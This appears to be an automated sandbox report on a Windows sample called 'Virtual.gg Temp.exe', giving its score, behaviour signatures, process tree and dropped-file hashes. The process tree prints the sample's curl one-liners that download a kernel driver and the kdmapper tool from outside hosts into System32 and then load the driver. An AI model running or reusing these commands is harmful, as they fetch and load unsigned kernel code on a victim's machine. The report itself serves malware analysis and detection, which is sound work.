Overview

overview

8

Static

static

3

Virtual.gg Temp.exe

windows10-2004-x64

8

Virtual.gg Temp.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/08/2026, 19:17

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General

  • Target
    Virtual.gg Temp.exe
  • Size 55KB
  • Sample260806-xzcs2ayfkh
  • SHA256 a5c9eedbb84735f5a17f6afe46b678e06aad42162265166cde17163dbe7001da
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
executionpersistence

Malware Config

Signatures

  • Downloads MZ/PE file 2 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 2 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • cURL User-Agent 3 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Virtual.gg Temp.exe
    "C:\Users\Admin\AppData\Local\Temp\Virtual.gg Temp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5596
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:296
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:52
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/Z6eV_3lsF39IcHa1/km.sys --output C:\Windows\System32\mom4mf.sys >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Windows\system32\curl.exe
        curl --silent https://file.garden/Z6eV_3lsF39IcHa1/km.sys --output C:\Windows\System32\mom4mf.sys
        3⤵
        • Downloads MZ/PE file
        • Drops file in System32 directory
        PID:124
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1516
      • C:\Windows\system32\curl.exe
        curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
        3⤵
        • Downloads MZ/PE file
        • Drops file in System32 directory
        PID:4324
    • C:\Windows\System32\kdmapper.exe
      "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\mom4mf.sys
      2⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: LoadsDriver
      • Suspicious use of AdjustPrivilegeToken
      PID:2576
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
      • Executes a command shell one-liner
      PID:4136

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        kdmapper.exe
        • Path C:\Windows\System32\kdmapper.exe
        • Size 150KB
        • SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        mom4mf.sys
        • Path C:\Windows\System32\mom4mf.sys
        • Size 18KB
        • SHA256 c607b47707c9d3225ae26ffcd78632565e71278aed9aaa98e4462740cc0c8337
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download